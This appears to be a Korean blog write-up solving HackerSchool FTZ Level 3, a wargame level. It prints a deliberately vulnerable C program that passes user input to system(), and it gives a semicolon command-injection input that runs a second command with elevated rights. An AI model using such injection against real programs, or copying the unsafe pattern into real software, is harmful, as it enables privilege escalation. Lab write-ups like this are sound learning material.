일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 웹
- 파이썬
- 쏙쏙캠프
- 석문초등학교
- 파이썬챌린지
- Linux
- FTZ
- SuNiNaTas
- C
- 웹해킹
- 명품자바프로그래밍
- 리버싱
- 실습문제
- webhacking.kr
- 해커스쿨
- pythonchallenge
- Web
- 암호수학
- setCookie
- C언어
- html5
- 자바
- 경기대학교
- 대외활동
- 피들러
- hackerschool
- 써니나타스
- ARP Redirect
- java
- 리눅스
- Today
- Total
Hongfluenza
[FTZ] 해커스쿨 Level 3 풀이 본문
[FTZ] 해커스쿨 Level 3
id>level3
passwd>can you fly?
ls 명령어를 사용하여 파일과 디렉토리 확인하기
cat hint 명령어를 치면 다음과 같은 소스코드가 나온다.
int main(int argc, char **argv){ // main 함수에 argc 인자를 받는다.
char cmd[100]; // cmd 변수에 100의 공간을 할당한 char형 변수를 선언한다.
if( argc!=2 ){ // argc가 2가 아니라면, if문을 실행한다.
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" ); // 문자열 복사하는 함수 : cmd 변수에 "dig @"를 넣는다.
strcat( cmd, argv[1] ); // 문자열을 붙여넣는 함수 : cmd에 argv[1] 값을 붙여 넣는다.
strcat( cmd, " version.bind chaos txt"); // cmd 뒤에 " version.bind chaos txt" 문구를 덧붙인다.
system( cmd ); // cmd 배열 내용을 실행시킨다.
}
HINT
- 동시에 여러 명령어를 사용하려면?
: ;(세미콜론)을 붙여주면 여러 명령어를 동시에 사용할 수 있다.
- 문자열 형태로 명령어를 전달하려면?
: ""(큰 따옴표)를 사용하면 된다.
level4의 권한으로 얻을 수 있는 힌트를 얻는다.
(오류는 제외)
./autodig ";my-pass"라는 명령어를 치면
cmd는 dig @;my-pass;version.bind chaos txt가 되는데,
1. dig @가 실행되어
dig: Couldn't find server ' ' : Name or service not known
이라는 오류가 떴고
2. my-pass가 실행되어
level4의 패스워드를 알아냈고
3. version.bind chaos txt는 무시되었다.
'CHALLENGE > hackerschool' 카테고리의 다른 글
[FTZ] 해커스쿨 Level 5 풀이 (0) | 2019.08.11 |
---|---|
[FTZ] 해커스쿨 Level 4 풀이 (0) | 2019.02.23 |
[FTZ] 해커스쿨 Level 2 풀이 (0) | 2019.02.13 |
[FTZ] 해커스쿨 Level 1 풀이 (0) | 2019.02.13 |
[FTZ] 해커스쿨 trainer1-10 (0) | 2018.03.15 |